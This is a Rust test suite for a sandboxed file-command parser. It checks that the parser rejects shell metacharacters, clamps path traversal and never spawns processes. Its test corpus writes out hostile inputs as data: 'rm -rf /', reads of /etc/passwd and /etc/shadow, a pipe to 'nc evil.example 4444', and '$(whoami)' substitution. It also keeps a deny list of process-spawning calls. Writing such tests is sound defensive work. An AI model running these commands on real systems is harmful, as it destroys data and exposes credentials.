use fslite_command::Command;
use fslite_command::lexer::{LexError, tokenize};
use fslite_command::parser::parse;
#[test]
fn crate_source_never_references_process_command() {
let src_dir = concat!(env!("CARGO_MANIFEST_DIR"), "/src");
for entry in walk(src_dir) {
let contents = std::fs::read_to_string(&entry).unwrap();
assert!(
!contents.contains("process::Command") && !contents.contains("Command::new"),
"found a process-spawning call in {entry:?} — fslite-command must never shell out"
);
}
}
#[test]
fn crate_source_never_references_other_process_spawning_primitives() {
let src_dir = concat!(env!("CARGO_MANIFEST_DIR"), "/src");
let forbidden = [
"std::process::",
"Stdio",
"libc::system",
"libc::exec",
"nix::unistd::exec",
];
for entry in walk(src_dir) {
let contents = std::fs::read_to_string(&entry).unwrap();
for needle in forbidden {
assert!(
!contents.contains(needle),
"found process-spawning primitive `{needle}` in {entry:?} — fslite-command must never shell out"
);
}
}
}
fn walk(dir: &str) -> Vec<std::path::PathBuf> {
let mut files = Vec::new();
for entry in std::fs::read_dir(dir).unwrap() {
let entry = entry.unwrap();
let path = entry.path();
if path.is_dir() {
files.extend(walk(path.to_str().unwrap()));
} else if path.extension().is_some_and(|ext| ext == "rs") {
files.push(path);
}
}
files
}
#[test]
fn malicious_looking_inputs_never_panic_and_never_expand() {
let corpus = [
"rm /a; rm -rf /",
"rm /a && cat /etc/passwd",
"rm /a || true",
"ls /a | nc evil.example 4444",
"ls `whoami`",
"ls $(whoami)",
"write /a.txt --text=$(whoami)",
"ls /a > /etc/passwd",
"ls /a < /etc/shadow",
"ls /a &",
"ls ~/secret",
"ls /a/../../../../etc/passwd",
"stat /a\0.txt",
"'",
"\"",
"write /a.txt --text=''''''''''",
];
for input in corpus {
let _ = std::panic::catch_unwind(|| parse(input))
.unwrap_or_else(|_| panic!("parse panicked on: {input}"));
}
}
#[test]
fn path_traversal_attempts_are_clamped_to_the_workspace_root_not_rejected_or_escaped() {
let command = parse("stat /../../../../etc/passwd").unwrap();
match command {
fslite_command::Command::Stat { path, .. } => assert_eq!(path.as_str(), "/etc/passwd"),
other => panic!("expected Stat, got {other:?}"),
}
}
#[test]
fn path_traversal_is_clamped_in_every_path_bearing_argument_position() {
match parse("cp /a/../../../../etc/passwd /b/../../../../etc/shadow").unwrap() {
Command::Copy { from, to, .. } => {
assert_eq!(from.as_str(), "/etc/passwd");
assert_eq!(to.as_str(), "/etc/shadow");
}
other => panic!("expected Copy, got {other:?}"),
}
match parse("mv /a/../../../../etc/passwd /b/../../../../etc/shadow").unwrap() {
Command::Move { from, to, .. } => {
assert_eq!(from.as_str(), "/etc/passwd");
assert_eq!(to.as_str(), "/etc/shadow");
}
other => panic!("expected Move, got {other:?}"),
}
match parse("stat /a/b/../../../../../c/../etc/passwd").unwrap() {
Command::Stat { path, .. } => assert_eq!(path.as_str(), "/etc/passwd"),
other => panic!("expected Stat, got {other:?}"),
}
match parse("ln /../../../../etc/shadow /link").unwrap() {
Command::Symlink { target, link, .. } => {
assert_eq!(target.as_str(), "/etc/shadow");
assert_eq!(link.as_str(), "/link");
}
other => panic!("expected Symlink, got {other:?}"),
}
}
#[test]
fn multi_megabyte_line_is_rejected_fast() {
let huge = format!("write /a.txt --text={}", "A".repeat(8 * 1024 * 1024));
let start = std::time::Instant::now();
let result = tokenize(&huge);
let elapsed = start.elapsed();
assert_eq!(
result.unwrap_err(),
LexError::TooLong {
max: fslite_command::lexer::MAX_LINE_LEN,
actual: huge.len()
}
);
assert!(
elapsed < std::time::Duration::from_millis(50),
"length check should be near-instant, took {elapsed:?}"
);
}
#[test]
fn pathological_quote_repetition_terminates_cleanly() {
let input = format!("write /a.txt --text={}", "'".repeat(100_000));
let result = std::panic::catch_unwind(|| tokenize(&input));
assert!(
result.is_ok(),
"tokenizer should not panic on repeated quote characters"
);
}
#[test]
fn alternating_quote_chain_terminates_cleanly_and_fast() {
let chain: String = (0..50_000)
.map(|i| if i % 2 == 0 { '\'' } else { '"' })
.collect();
let input = format!("write /a.txt --text={chain}");
let start = std::time::Instant::now();
let result = std::panic::catch_unwind(|| tokenize(&input));
let elapsed = start.elapsed();
assert!(
result.is_ok(),
"tokenizer should not panic on an alternating quote chain"
);
assert!(
elapsed < std::time::Duration::from_millis(200),
"alternating quote chain should not be quadratic, took {elapsed:?}"
);
}
#[test]
fn adjacent_non_empty_quoted_segments_still_reject_a_trailing_metacharacter() {
for input in [
"'a''b';rm -rf /",
"'a'\"b\";rm -rf /",
"\"a\"\"b\";rm -rf /",
"write /a.txt --text='a''b';rm -rf /",
] {
match tokenize(input) {
Err(LexError::UnsupportedMetacharacter(';')) => {}
other => panic!("expected a rejected `;` for {input:?}, got {other:?}"),
}
}
}
#[test]
fn metacharacter_immediately_after_inline_flag_equals_is_rejected() {
for input in [
"write /a.txt --text=;rm -rf /",
"write /a.txt --text=foo;rm -rf /",
"write /a.txt --text=foo|nc evil 4444",
] {
match parse(input) {
Err(_) => {}
Ok(command) => panic!("expected rejection for {input:?}, got {command:?}"),
}
}
}
#[test]
fn metacharacters_fully_inside_a_quote_are_preserved_as_literal_data() {
let command = parse(r#"write /a.txt --text="a;b|c&d<e>f`g""#).unwrap();
match command {
Command::Write { bytes, .. } => assert_eq!(bytes, b"a;b|c&d<e>f`g"),
other => panic!("expected Write, got {other:?}"),
}
}
#[test]
fn metacharacter_with_zero_surrounding_whitespace_is_rejected() {
for input in ["ls/a;true", "rm/a&rm/b"] {
match tokenize(input) {
Err(LexError::UnsupportedMetacharacter(_)) => {}
other => panic!("expected rejection for {input:?}, got {other:?}"),
}
}
}
#[test]
fn dollar_paren_split_across_touching_quotes_is_inert_not_rejected_or_expanded() {
let command = parse(r#"write /a.txt --text='$'"(whoami)""#).unwrap();
match command {
Command::Write { bytes, .. } => assert_eq!(bytes, b"$(whoami)"),
other => panic!("expected Write, got {other:?}"),
}
}
#[test]
fn even_and_odd_length_quote_runs_behave_predictably() {
match tokenize(&format!("write /a.txt --text={}", "'".repeat(10))) {
Ok(tokens) => assert!(matches!(
tokens.last(),
Some(fslite_command::lexer::Token::Flag { value: Some(v), .. }) if v.is_empty()
)),
other => panic!("expected an even quote run to close cleanly, got {other:?}"),
}
assert_eq!(
tokenize(&format!("write /a.txt --text={}", "'".repeat(11))),
Err(LexError::UnterminatedQuote)
);
}
#[test]
fn long_chain_of_touching_non_empty_quoted_segments_assembles_correctly_and_fast() {
let chain: String = "'x'".repeat(10_000);
let input = format!("write /a.txt --text={chain}");
let start = std::time::Instant::now();
let command = parse(&input).unwrap();
let elapsed = start.elapsed();
match command {
Command::Write { bytes, .. } => assert_eq!(bytes, "x".repeat(10_000).into_bytes()),
other => panic!("expected Write, got {other:?}"),
}
assert!(
elapsed < std::time::Duration::from_millis(200),
"took {elapsed:?}"
);
let hostile = format!("write /a.txt --text={chain};rm -rf /");
match tokenize(&hostile) {
Err(LexError::UnsupportedMetacharacter(';')) => {}
other => panic!("expected rejection, got {other:?}"),
}
}